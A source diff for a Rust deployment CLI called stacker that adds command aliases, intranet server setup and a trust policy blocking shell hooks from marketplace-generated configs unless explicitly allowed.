+        #[arg(long = "set", value_name = "KEY=VALUE")]
+        set_values: Vec<String>,
+        /// Path to write stacker.yml (default: ./stacker.yml)
+        #[arg(long, value_name = "FILE")]
+        file: Option<std::path::PathBuf>,
+        /// Overwrite an existing stacker.yml
+        #[arg(long)]
+        force: bool,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
     /// Show container logs
     Logs {
         /// Show logs for a specific service only
@@ -258,6 +314,43 @@ enum StackerCommands {
         #[command(subcommand)]
         command: ListCommands,
     },
+    /// List all projects (alias for `stacker list projects`)
+    Projects {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// List deployments (alias for `stacker list deployments`)
+    Deployments {
+        /// Filter by project ID
+        #[arg(long)]
+        project: Option<i32>,
+        /// Limit number of results
+        #[arg(long)]
+        limit: Option<i64>,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// List all servers (alias for `stacker list servers`)
+    Servers {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// List SSH keys (alias for `stacker list ssh-keys`)
+    #[command(name = "ssh-keys")]
+    SshKeys {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// List saved cloud credentials (alias for `stacker list clouds`)
+    Clouds {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
     /// SSH key management (generate, show, upload, repair)
     #[command(long_about = "Manage Stacker server SSH keys.\n\n\
 Cloud deploys automatically create a local backup SSH key under the Stacker config directory and authorize it on the deployed server when possible. The `generate` command manages the server-side Vault key; `inject` repairs a server by using an already-working local private key to add the Vault public key.")]
@@ -742,6 +835,23 @@ enum ConfigCommands {
 
 #[derive(Debug, Subcommand)]
 enum ConfigSetupCommands {
+    /// Register a server (intranet or remote) as the deploy target
+    Server {
+        #[arg(long, value_name = "FILE")]
+        file: Option<String>,
+        /// Server IP address or hostname (e.g. 192.168.100.245)
+        #[arg(long, value_name = "IP")]
+        ip: Option<String>,
+        /// SSH user (default: root)
+        #[arg(long, value_name = "USER")]
+        user: Option<String>,
+        /// SSH port (default: 22)
+        #[arg(long, value_name = "PORT")]
+        port: Option<u16>,
+        /// Path to SSH private key
+        #[arg(long, value_name = "PATH")]
+        key: Option<String>,
+    },
     /// Configure cloud deployment defaults in stacker.yml
     Cloud {
         #[arg(long, value_name = "FILE")]
@@ -1357,6 +1467,24 @@ enum AgentCommands {
         #[command(subcommand)]
         command: AgentListCommands,
     },
+    /// List apps deployed for the target deployment (alias for `stacker agent list apps`)
+    Apps {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Deployment hash
+        #[arg(long)]
+        deployment: Option<String>,
+    },
+    /// List containers running on the target server (alias for `stacker agent list containers`)
+    Containers {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Deployment hash
+        #[arg(long)]
+        deployment: Option<String>,
+    },
     /// Show agent and container status for the deployment
     Status {
         /// Output in JSON format
@@ -1403,6 +1531,10 @@ enum AgentCommands {
         /// Output in JSON format
         #[arg(long)]
         json: bool,
+        /// Install via local SSH instead of the Stacker cloud install service.
+        /// Detected automatically when deploy.server.host is a private/intranet IP.
+        #[arg(long)]
+        local: bool,
     },
 }
 
@@ -1769,6 +1901,8 @@ fn get_command(
             runtime,
             plan,
             apply_plan,
+            no_hooks,
+            allow_untrusted_hooks,
         } => Box::new(
             stacker::console::commands::cli::deploy::DeployCommand::new(
                 target,
@@ -1785,7 +1919,8 @@ fn get_command(
             .with_force_new(force_new)
             .with_runtime(runtime)
             .with_plan(plan)
-            .with_apply_plan(apply_plan),
+            .with_apply_plan(apply_plan)
+            .with_hook_flags(no_hooks, allow_untrusted_hooks),
         ),
         StackerCommands::Connect { handoff } => {
             Box::new(stacker::console::commands::cli::connect::ConnectCommand::new(handoff))
@@ -1858,6 +1993,11 @@ fn get_command(
                 Box::new(stacker::console::commands::cli::config::ConfigUnlockCommand::new(file))
             }
             ConfigCommands::Setup { command } => match command {
+                ConfigSetupCommands::Server { file, ip, user, port, key } => Box::new(
+                    stacker::console::commands::cli::config::ConfigSetupServerCommand::new(
+                        file, ip, user, port, key,
+                    ),
+                ),
                 ConfigSetupCommands::Cloud { file } => Box::new(
                     stacker::console::commands::cli::config::ConfigSetupCloudCommand::new(file),
                 ),
@@ -1935,6 +2075,27 @@ fn get_command(
                 Box::new(stacker::console::commands::cli::list::ListCloudsCommand::new(json))
             }
         },
+        StackerCommands::Projects { json } => {
+            Box::new(stacker::console::commands::cli::list::ListProjectsCommand::new(json))
+        }
+        StackerCommands::Deployments {
+            json,
+            project,
+            limit,
+        } => Box::new(
+            stacker::console::commands::cli::list::ListDeploymentsCommand::new(
+                json, project, limit,
+            ),
+        ),
+        StackerCommands::Servers { json } => {
+            Box::new(stacker::console::commands::cli::list::ListServersCommand::new(json))
+        }
+        StackerCommands::SshKeys { json } => {
+            Box::new(stacker::console::commands::cli::list::ListSshKeysCommand::new(json))
+        }
+        StackerCommands::Clouds { json } => {
+            Box::new(stacker::console::commands::cli::list::ListCloudsCommand::new(json))
+        }
         StackerCommands::SshKey { command: ssh_cmd } => match ssh_cmd {
             SshKeyCommands::Generate { server_id, save_to } => Box::new(
                 stacker::console::commands::cli::ssh_key::SshKeyGenerateCommand::new(
@@ -2407,6 +2568,12 @@ fn get_command(
                         Box::new(agent::AgentListContainersCommand::new(json, deployment))
                     }
                 },
+                AgentCommands::Apps { json, deployment } => {
+                    Box::new(agent::AgentListAppsCommand::new(json, deployment))
+                }
+                AgentCommands::Containers { json, deployment } => {
+                    Box::new(agent::AgentListContainersCommand::new(json, deployment))
+                }
                 AgentCommands::Status { json, deployment } => {
                     Box::new(agent::AgentStatusCommand::new(json, deployment))
                 }
@@ -2430,7 +2597,8 @@ fn get_command(
                     file,
                     persist_config,
                     json,
-                } => Box::new(agent::AgentInstallCommand::new(file, persist_config, json)),
+                    local,
+                } => Box::new(agent::AgentInstallCommand::new(file, persist_config, json).with_local(local)),
             }
         }
         StackerCommands::Cloud { command } => match command {
@@ -2494,6 +2662,29 @@ fn get_command(
             plan_type,
             price,
         )),
+        StackerCommands::Find { query, json, limit } => Box::new(
+            stacker::console::commands::cli::marketplace::MarketplaceFindCommand::new(
+                query, json, limit,
+            ),
+        ),
+        StackerCommands::Templates { category, tag, json } => Box::new(
+            stacker::console::commands::cli::marketplace::MarketplaceTemplatesCommand::new(
+                category, tag, json,
+            ),
+        ),
+        StackerCommands::Install {
+            template,
+            name,
+            file,
+            force,
+            json,
+            domain,
+            set_values,
+        } => Box::new(
+            stacker::console::commands::cli::marketplace::MarketplaceInstallCommand::new(
+                template, name, file, force, json, domain, set_values,
+            ),
+        ),
         StackerCommands::Marketplace { command: mkt_cmd } => match mkt_cmd {
             MarketplaceCommands::Status { name, json } => Box::new(
                 stacker::console::commands::cli::marketplace::MarketplaceStatusCommand::new(
@@ -2929,6 +3120,75 @@ mod tests {
         assert!(sync.is_ok(), "secrets apps sync should parse successfully");
     }
 
+    #[test]
+    fn test_top_level_servers_alias_parses() {
+        let parsed = Cli::try_parse_from(["stacker", "servers", "--json"]);
+
+        assert!(
+            parsed.is_ok(),
+            "top-level servers alias should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_top_level_deployments_alias_parses() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "deployments",
+            "--project",
+            "42",
+            "--limit",
+            "10",
+            "--json",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "top-level deployments alias should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_top_level_ssh_keys_alias_parses() {
+        let parsed = Cli::try_parse_from(["stacker", "ssh-keys", "--json"]);
+
+        assert!(
+            parsed.is_ok(),
+            "top-level ssh-keys alias should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_agent_apps_alias_parses() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "agent",
+            "apps",
+            "--deployment",
+            "deployment_demo",
+            "--json",
+        ]);
+
+        assert!(parsed.is_ok(), "agent apps alias should parse successfully");
+    }
+
+    #[test]
+    fn test_agent_containers_alias_parses() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "agent",
+            "containers",
+            "--deployment",
+            "deployment_demo",
+            "--json",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "agent containers alias should parse successfully"
+        );
+    }
+
     #[test]
     fn test_secrets_help_mentions_remote_modes() {
         let mut command = Cli::command();
diff --git a/src/cli/ai_scenarios.rs b/src/cli/ai_scenarios.rs
index 81ff1983..14b99f80 100644
--- a/src/cli/ai_scenarios.rs
+++ b/src/cli/ai_scenarios.rs
@@ -8,31 +8,50 @@ use crate::cli::config_parser::{AiConfig, AiProviderType, AppType, StackerConfig
 use crate::cli::error::CliError;
 
 pub const WEBSITE_DEPLOY_SCENARIO: &str = "website-deploy";
-const SCENARIO_PROVIDER_DIR: &str = "qwen2.5-code";
+macro_rules! ai_model_str {
+    () => {
+        "qwen2.5-code"
+    };
+}
+
+pub const AI_MODEL: &str = ai_model_str!();
+const SCENARIO_PROVIDER_DIR: &str = AI_MODEL;
 
 const WEBSITE_DEPLOY_MANIFEST: &str = include_str!(concat!(
     env!("CARGO_MANIFEST_DIR"),
-    "/scenarios/qwen2.5-code/website-deploy/scenario.yaml"
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/scenario.yaml"
 ));
 const WEBSITE_DEPLOY_STEP_INIT_VALIDATE: &str = include_str!(concat!(
     env!("CARGO_MANIFEST_DIR"),
-    "/scenarios/qwen2.5-code/website-deploy/steps/01-init-validate.md"
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/01-init-validate.md"
 ));
 const WEBSITE_DEPLOY_STEP_IMAGE_PUBLISH: &str = include_str!(concat!(
     env!("CARGO_MANIFEST_DIR"),
-    "/scenarios/qwen2.5-code/website-deploy/steps/02-image-publish.md"
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/02-image-publish.md"
 ));
 const WEBSITE_DEPLOY_STEP_CLOUD_DEPLOY: &str = include_str!(concat!(
     env!("CARGO_MANIFEST_DIR"),
-    "/scenarios/qwen2.5-code/website-deploy/steps/03-cloud-deploy.md"
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/03-cloud-deploy.md"
 ));
 const WEBSITE_DEPLOY_STEP_AGENT_PROXY: &str = include_str!(concat!(
     env!("CARGO_MANIFEST_DIR"),
-    "/scenarios/qwen2.5-code/website-deploy/steps/04-agent-firewall-dns-proxy.md"
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/04-agent-firewall-dns-proxy.md"
 ));
 const WEBSITE_DEPLOY_STEP_RUNTIME_OPS: &str = include_str!(concat!(
     env!("CARGO_MANIFEST_DIR"),
-    "/scenarios/qwen2.5-code/website-deploy/steps/05-runtime-ops.md"
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/05-runtime-ops.md"
 ));
 
 #[derive(Debug, Clone, PartialEq, Eq)]
@@ -159,7 +178,7 @@ pub fn is_qwen_website_scenario_model(ai_config: &AiConfig) -> bool {
         .as_deref()
         .map(|model| {
             let normalized = model.to_ascii_lowercase();
-            normalized.contains("qwen2.5-code") || normalized.contains("qwen2.5-coder")
+            normalized.contains(AI_MODEL) || normalized.contains("qwen2.5-coder")
         })
         .unwrap_or(false)
 }
@@ -725,6 +744,7 @@ mod tests {
             ssh_key: None,
             key: None,
             server: None,
+            public_ports: Vec::new(),
         });
 
         // Simulate a git remote through an existing state seed instead of shelling out in tests.
@@ -787,7 +807,7 @@ mod tests {
 
         let context = load_scenario_prompt_context(
             dir.path(),
-            &website_ai_config("qwen2.5-code:latest"),
+            &website_ai_config(AI_MODEL),
             &ScenarioSelection::new(WEBSITE_DEPLOY_SCENARIO, Some("init-validate".to_string())),
         )
         .unwrap();
diff --git a/src/cli/compose_service_sync.rs b/src/cli/compose_service_sync.rs
index 0daaa2d4..ed5ac006 100644
--- a/src/cli/compose_service_sync.rs
+++ b/src/cli/compose_service_sync.rs
@@ -69,10 +69,7 @@ fn inject_external_network(
                 }
             }
             None => {
-                svc.insert(
-                    networks_key,
-                    serde_yaml::Value::Sequence(vec![network_val]),
-                );
+                svc.insert(networks_key, serde_yaml::Value::Sequence(vec![network_val]));
                 changed = true;
             }
             _ => {}
@@ -387,7 +384,9 @@ fn push_unique_network(networks: &mut Vec<String>, name: &str) {
 #[cfg(test)]
 mod tests {
     use super::*;
-    use crate::cli::config_parser::{AppSource, DeployConfig, DomainConfig, ProjectConfig, SslMode};
+    use crate::cli::config_parser::{
+        AppSource, DeployConfig, DomainConfig, ProjectConfig, SslMode,
+    };
     use std::collections::HashMap;
     use tempfile::TempDir;
 
diff --git a/src/cli/config_parser.rs b/src/cli/config_parser.rs
index 0a3d3236..ebcd40fc 100644
--- a/src/cli/config_parser.rs
+++ b/src/cli/config_parser.rs
@@ -531,6 +531,12 @@ pub struct EnvironmentConfig {
     pub env_file: Option<PathBuf>,
 }
 
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct InstallConfig {
+    #[serde(default)]
+    pub inputs: serde_json::Map<String, serde_json::Value>,
+}
+
 /// Cloud provider settings for cloud deployments.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct CloudConfig {
@@ -565,6 +571,12 @@ pub struct CloudConfig {
     /// When set, the CLI passes the server_id to the deploy form so it is reused.
     #[serde(default)]
     pub server: Option<String>,
+
+    /// Public ports to open in the cloud provider firewall after deployment.
+    /// Each entry is a port number or "port/protocol" string (e.g. "8000" or "8000/tcp").
+    /// These are sent to the Install Service to configure provider-level firewall rules.
+    #[serde(default)]
+    pub public_ports: Vec<String>,
 }
 
 /// Remote server settings for server deployments.
@@ -706,6 +718,36 @@ pub struct TargetConfigContract {
 // StackerConfig — the root configuration type
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
+/// Marker comment written to the top of any stacker.yml that was generated
+/// or rendered by the marketplace (rather than authored by the user). Its
+/// presence flips `StackerConfig::origin` to `MarketplaceGenerated`, which
+/// gates hook execution — see `HookPolicy` and `run_hook`.
+///
+/// The user can safely delete this comment after reviewing the file; once
+/// gone, the file is treated as user-authored (trusted) again.
+pub const MARKETPLACE_ORIGIN_MARKER: &str = "# @stacker-origin: marketplace";
+
+/// Provenance of a `StackerConfig`. Used by hook execution to decide whether
+/// to require the `--allow-untrusted-hooks` flag before running any shell
+/// hook (`pre_build`, `post_deploy`, `on_failure`).
+///
+/// `UserAuthored` is the default because programmatic construction and
+/// hand-written stacker.yml files represent code the user reviewed.
+/// `MarketplaceGenerated` is set explicitly by `from_file`/`from_str` when
+/// the file contains [`MARKETPLACE_ORIGIN_MARKER`], and by the marketplace
+/// install command when it writes a fresh file.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum ConfigOrigin {
+    UserAuthored,
+    MarketplaceGenerated,
+}
+
+impl Default for ConfigOrigin {
+    fn default() -> Self {
+        Self::UserAuthored
+    }
+}
+
 #[derive(Debug, Clone, Serialize, Deserialize, Default, Validate)]
 pub struct StackerConfig {
     #[validate(min_length = 1)]
@@ -733,6 +775,9 @@ pub struct StackerConfig {
     #[serde(default)]
     pub deploy: DeployConfig,
 
+    #[serde(default)]
+    pub install: InstallConfig,
+
     #[serde(default)]
     pub environments: BTreeMap<String, EnvironmentConfig>,
 
@@ -753,9 +798,23 @@ pub struct StackerConfig {
 
     #[serde(default)]
     pub config_contract: ConfigContract,
+
+    /// Provenance of this config. Not serialized — computed at load time.
+    ///
+    /// Defaults to `UserAuthored`. `from_file`/`from_str` flip to
+    /// `MarketplaceGenerated` if the raw text starts with
+    /// [`MARKETPLACE_ORIGIN_MARKER`].
+    #[serde(skip)]
+    pub origin: ConfigOrigin,
 }
 
 impl StackerConfig {
+    /// Whether hooks in this config may be executed without an explicit
+    /// `--allow-untrusted-hooks` flag.
+    pub fn is_trusted(&self) -> bool {
+        matches!(self.origin, ConfigOrigin::UserAuthored)
+    }
+
     /// Load config from a file path, resolving `${VAR}` environment variable
     /// references and validating the result.
     ///
@@ -771,10 +830,13 @@ impl StackerConfig {
         }
 
         let raw_content = std::fs::read_to_string(path)?;
+        let origin = detect_origin_from_raw(&raw_content);
         let mut parsed: serde_yaml::Value = serde_yaml::from_str(&raw_content)?;
         let env_file_vars = load_env_file_vars_from_yaml(path, &raw_content);
         resolve_env_placeholders_in_value(&mut parsed, &env_file_vars)?;
-        deserialize_config_value(parsed)
+        let mut config = deserialize_config_value(parsed)?;
+        config.origin = origin;
+        Ok(config)
     }
 
     /// Load config from a file path **without** resolving `${VAR}` placeholders.
@@ -791,15 +853,21 @@ impl StackerConfig {
         }
 
         let raw_content = std::fs::read_to_string(path)?;
+        let origin = detect_origin_from_raw(&raw_content);
         let parsed: serde_yaml::Value = serde_yaml::from_str(&raw_content)?;
-        deserialize_config_value(parsed)
+        let mut config = deserialize_config_value(parsed)?;
+        config.origin = origin;
+        Ok(config)
     }
 
     /// Load config from a YAML string (useful for tests).
     pub fn from_str(yaml: &str) -> Result<Self, CliError> {
+        let origin = detect_origin_from_raw(yaml);
         let mut parsed: serde_yaml::Value = serde_yaml::from_str(yaml)?;
         resolve_env_placeholders_in_value(&mut parsed, &HashMap::new())?;
-        deserialize_config_value(parsed)
+        let mut config = deserialize_config_value(parsed)?;
+        config.origin = origin;
+        Ok(config)
     }
 
     /// Return a cloned config with `deploy` flattened to one selected target.
@@ -975,6 +1043,35 @@ impl StackerConfig {
     }
 }
 
+/// Inspect the raw text of a stacker.yml (or a `from_str` input) and decide
+/// whether it was authored by the user or generated by the marketplace.
+///
+/// A file counts as marketplace-generated if any of the leading comment
+/// lines contains [`MARKETPLACE_ORIGIN_MARKER`]. Blank lines are skipped so
+/// the marker can appear after a shebang-style banner. Once the scan hits
+/// a non-comment non-blank line, further lines are ignored — the marker
+/// must live at the top of the file.
+fn detect_origin_from_raw(raw: &str) -> ConfigOrigin {
+    for line in raw.lines() {
+        let trimmed = line.trim();
+        if trimmed.is_empty() {
+            continue;
+        }
+        if let Some(rest) = trimmed.strip_prefix('#') {
+            if rest.trim().eq_ignore_ascii_case(
+                MARKETPLACE_ORIGIN_MARKER
+                    .trim_start_matches('#')
+                    .trim(),
+            ) {
+                return ConfigOrigin::MarketplaceGenerated;
+            }
+            continue;
+        }
+        break;
+    }
+    ConfigOrigin::UserAuthored
+}
+
 fn deserialize_config_value(parsed: serde_yaml::Value) -> Result<StackerConfig, CliError> {
     let rendered = serde_yaml::to_string(&parsed)?;
     let deserializer = serde_yaml::Deserializer::from_str(&rendered);
@@ -1216,6 +1313,7 @@ pub struct ConfigBuilder {
     app_path: Option<PathBuf>,
     app_image: Option<String>,
     app_dockerfile: Option<PathBuf>,
+    app_volumes: Vec<String>,
     build_args: HashMap<String, String>,
     services: Vec<ServiceDefinition>,
     proxy: Option<ProxyConfig>,
@@ -1275,6 +1373,11 @@ impl ConfigBuilder {
         self
     }
 
+    pub fn app_volumes(mut self, volumes: Vec<String>) -> Self {
+        self.app_volumes = volumes;
+        self
+    }
+
     pub fn build_arg<K: Into<String>, V: Into<String>>(mut self, key: K, value: V) -> Self {
         self.build_args.insert(key.into(), value.into());
         self
@@ -1364,7 +1467,7 @@ impl ConfigBuilder {
                 image: self.app_image,
                 build: build_config,
                 ports: Vec::new(),
-                volumes: Vec::new(),
+                volumes: self.app_volumes,
                 environment: HashMap::new(),
             },
             services: self.services,
@@ -1380,6 +1483,7 @@ impl ConfigBuilder {
                 default_target: None,
                 targets: BTreeMap::new(),
             },
+            install: InstallConfig::default(),
             environments: BTreeMap::new(),
             ai: self.ai.unwrap_or_default(),
             monitoring: self.monitoring.unwrap_or_default(),
@@ -1387,6 +1491,7 @@ impl ConfigBuilder {
             env_file: self.env_file,
             env: self.env,
             config_contract: ConfigContract::default(),
+            origin: ConfigOrigin::UserAuthored,
         })
     }
 }
@@ -1421,6 +1526,30 @@ app:
         assert!(!config.monitoring.status_panel);
     }
 
+    #[test]
+    fn test_parse_install_inputs() {
+        let yaml = r#"
+name: wordpress-site
+install:
+  inputs:
+    commonDomain: example.com
+    admin_email: admin@example.com
+deploy:
+  target: cloud
+"#;
+
+        let config = StackerConfig::from_str(yaml).unwrap();
+
+        assert_eq!(
+            config.install.inputs.get("commonDomain"),
+            Some(&serde_json::json!("example.com"))
+        );
+        assert_eq!(
+            config.install.inputs.get("admin_email"),
+            Some(&serde_json::json!("admin@example.com"))
+        );
+    }
+
     #[test]
     fn test_parse_full_config() {
         let yaml = r#"
@@ -2056,6 +2185,7 @@ deploy:
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap();
@@ -2133,6 +2263,7 @@ deploy:
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap();
diff --git a/src/cli/error.rs b/src/cli/error.rs
index 42c13d2e..9c24f9d2 100644
--- a/src/cli/error.rs
+++ b/src/cli/error.rs
@@ -39,6 +39,20 @@ pub enum CliError {
         target: DeployTarget,
         reason: String,
     },
+    /// A deploy hook (`pre_build`, `post_deploy`, `on_failure`) was
+    /// rejected BEFORE execution by the security scanner or the trust
+    /// policy — path traversal, malicious content pattern, or
+    /// marketplace-untrusted origin without `--allow-untrusted-hooks`.
+    ///
+    /// This is distinct from `DeployFailed` on purpose: the deploy
+    /// pipeline treats runtime hook failures (non-zero exit code) as
+    /// best-effort warnings, but security rejections MUST propagate so
+    /// a hostile stacker.yml can't turn a successful deploy into a
+    /// silent security-check bypass. See `Phase 6b` in the audit.
+    HookRejected {
+        hook_name: String,
+        reason: String,
+    },
     LoginRequired {
         feature: String,
     },
@@ -143,6 +157,12 @@ impl fmt::Display for CliError {
             Self::DeployFailed { target, reason } => {
                 write!(f, "Deployment to {target} failed: {reason}")
             }
+            Self::HookRejected { hook_name, reason } => {
+                write!(
+                    f,
+                    "Hook '{hook_name}' rejected before execution: {reason}"
+                )
+            }
             Self::LoginRequired { feature } => {
                 write!(f, "Login required for {feature}. Run: stacker login")
             }
diff --git a/src/cli/generator/compose.rs b/src/cli/generator/compose.rs
index c9e92d02..b5c96829 100644
--- a/src/cli/generator/compose.rs
+++ b/src/cli/generator/compose.rs
@@ -3,7 +3,9 @@ use std::convert::TryFrom;
 use std::fmt;
 use std::path::Path;
 
-use crate::cli::config_parser::{AppType, DomainConfig, ProxyType, ServiceDefinition, StackerConfig};
+use crate::cli::config_parser::{
+    AppType, DomainConfig, ProxyType, ServiceDefinition, StackerConfig,
+};
 use crate::cli::error::CliError;
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -106,6 +108,13 @@ impl TryFrom<&StackerConfig> for ComposeDefinition {
 
         // --- Main app service ---
         let app_service = build_app_service(config);
+        for vol in &app_service.volumes {
+            if let Some(named) = extract_named_volume(vol) {
+                if !named_volumes.contains(&named) {
+                    named_volumes.push(named);
+                }
+            }
+        }
         compose.services.push(app_service);
 
         // --- Additional services (databases, caches, etc.) ---
@@ -153,7 +162,9 @@ impl TryFrom<&StackerConfig> for ComposeDefinition {
                 }
             }
             if injected {
-                compose.external_networks.push("default_network".to_string());
+                compose
+                    .external_networks
+                    .push("default_network".to_string());
             }
         }
 
@@ -736,6 +747,50 @@ mod tests {
         );
     }
 
+    #[test]
+    fn app_named_volumes_appear_in_top_level_volumes_block() {
+        let config = ConfigBuilder::new()
+            .name("rustfs")
+            .app_type(AppType::Custom)
+            .app_image("rustfs/rustfs:latest")
+            .app_volumes(vec![
+                "rustfs_data:/data".into(),
+                "rustfs_logs:/app/logs".into(),
+                "./local-config:/etc/config:ro".into(), // bind mount — must NOT appear
+            ])
+            .build()
+            .unwrap();
+
+        let compose = ComposeDefinition::try_from(&config).unwrap();
+
+        assert!(
+            compose.volumes.contains(&"rustfs_data".to_string()),
+            "rustfs_data should be in top-level volumes"
+        );
+        assert!(
+            compose.volumes.contains(&"rustfs_logs".to_string()),
+            "rustfs_logs should be in top-level volumes"
+        );
+        assert!(
+            !compose.volumes.contains(&"./local-config".to_string()),
+            "bind mount should not appear in top-level volumes"
+        );
+
+        let yaml = compose.render();
+        assert!(
+            yaml.contains("volumes:"),
+            "top-level volumes: block must exist"
+        );
+        assert!(
+            yaml.contains("  rustfs_data:"),
+            "rustfs_data entry must appear"
+        );
+        assert!(
+            yaml.contains("  rustfs_logs:"),
+            "rustfs_logs entry must appear"
+        );
+    }
+
     #[test]
     fn test_extract_named_volume_returns_name() {
         assert_eq!(
@@ -868,11 +923,16 @@ mod tests {
             api_svc.networks
         );
         assert!(
-            compose.external_networks.contains(&"default_network".to_string()),
+            compose
+                .external_networks
+                .contains(&"default_network".to_string()),
             "default_network should be declared as external"
         );
         let yaml = compose.render();
-        assert!(yaml.contains("external: true"), "rendered YAML should declare default_network external:\n{yaml}");
+        assert!(
+            yaml.contains("external: true"),
+            "rendered YAML should declare default_network external:\n{yaml}"
+        );
     }
 
     #[test]
diff --git a/src/cli/install_runner.rs b/src/cli/install_runner.rs
index bd3ba250..5bb5db3a 100644
--- a/src/cli/install_runner.rs
+++ b/src/cli/install_runner.rs
@@ -23,10 +23,65 @@ pub const CONTAINER_COMPOSE_PATH: &str = "/app/docker-compose.yml";
 /// Mount point for SSH keys inside the install container.
 pub const CONTAINER_SSH_KEY_PATH: &str = "/root/.ssh/id_rsa";
 
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// HookPolicy — user-controlled hook execution guard rails
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Runtime policy for shell hook execution during deploy.
+///
+/// Separates two concerns:
+///   * `no_hooks`         — skip all hooks unconditionally (CI-safe deploys).
+///   * `allow_untrusted`  — permit hooks even when `StackerConfig::origin`
+///                           is `MarketplaceGenerated`. Default is to refuse
+///                           so a hostile marketplace template can't drive
+///                           local execution just because the user typed
+///                           `stacker deploy` after `stacker install`.
+///
+/// Both flags default to `false`. `run_hook` reads this policy together with
+/// the config's origin and either runs, skips, or errors.
+#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
+pub struct HookPolicy {
+    pub no_hooks: bool,
+    pub allow_untrusted: bool,
+}
+
+impl HookPolicy {
+    pub fn trusted() -> Self {
+        Self::default()
+    }
+
+    pub fn allow_untrusted() -> Self {
+        Self {
+            no_hooks: false,
+            allow_untrusted: true,
+        }
+    }
+
+    pub fn no_hooks() -> Self {
+        Self {
+            no_hooks: true,
+            allow_untrusted: false,
+        }
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // CommandExecutor — abstraction for running shell commands (DIP)
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
+/// Byte cap enforced at the OS pipe level by `ShellExecutor::execute_with_timeout`.
+///
+/// This is the OOM-defence layer: even if a hostile hook emits gigabytes on
+/// stdout / stderr, at most this many bytes are ever held in the CLI's
+/// memory. Anything beyond the cap is drained straight to a sink so the
+/// child does not block on a full pipe.
+///
+/// Slightly larger than `HOOK_OUTPUT_MAX_BYTES` in `deploy.rs` (which caps
+/// the *displayed* output at 1 MiB) so callers can distinguish "output
+/// hit the pipe cap" from "output hit the display cap". Both layers are
+/// necessary — pipe-level guards memory, display-level guards the terminal.
+pub const HOOK_PIPE_OUTPUT_MAX_BYTES: usize = 1_048_576 + 1024;
+
 /// Result of executing a command.
 #[derive(Debug, Clone)]
 pub struct CommandOutput {
@@ -47,6 +102,23 @@ impl CommandOutput {
 /// Tests: `MockExecutor` records commands for assertion without side effects.
 pub trait CommandExecutor: Send + Sync {
     fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError>;
+
+    /// Execute with a hard timeout.  The default implementation (used by
+    /// `MockExecutor`) delegates to [`execute`](CommandExecutor::execute)
+    /// and ignores the timeout + current_dir — mocks never block.
+    ///
+    /// `ShellExecutor` overrides this with a real timeout that uses
+    /// [`Command::spawn`] + [`try_wait`] + [`kill`], clears the environment,
+    /// and sets the working directory to `current_dir` when provided.
+    fn execute_with_timeout(
+        &self,
+        program: &str,
+        args: &[&str],
+        _timeout: std::time::Duration,
+        _current_dir: Option<&Path>,
+    ) -> Result<CommandOutput, CliError> {
+        self.execute(program, args)
+    }
 }
 
 /// Production executor — actually runs docker commands.
@@ -68,6 +140,136 @@ impl CommandExecutor for ShellExecutor {
             stderr: String::from_utf8_lossy(&output.stderr).to_string(),
         })
     }
+
+    fn execute_with_timeout(
+        &self,
+        program: &str,
+        args: &[&str],
+        timeout: std::time::Duration,
+        current_dir: Option<&Path>,
+    ) -> Result<CommandOutput, CliError> {
+        let program_owned = program.to_string();
+        let args_owned: Vec<String> = args.iter().map(|s| s.to_string()).collect();
+
+        let mut cmd = std::process::Command::new(&program_owned);
+        cmd.args(&args_owned);
+        cmd.stdout(std::process::Stdio::piped());
+        cmd.stderr(std::process::Stdio::piped());
+        // Security: clear environment to prevent secret leakage (H2)
+        cmd.env_clear();
+        cmd.env("PATH", "/usr/bin:/bin:/usr/local/bin");
+        if let Some(home) = std::env::var_os("HOME") {
+            cmd.env("HOME", home);
+        }
+        if let Some(dir) = current_dir {
+            cmd.current_dir(dir);
+        }
+
+        let mut child = cmd.spawn().map_err(|e| CliError::CommandFailed {
+            command: format!("{} {} — {}", program, args.join(" "), e),
+            exit_code: -1,
+        })?;
+
+        // Phase 8b OOM defence: drain each pipe in its own thread with a
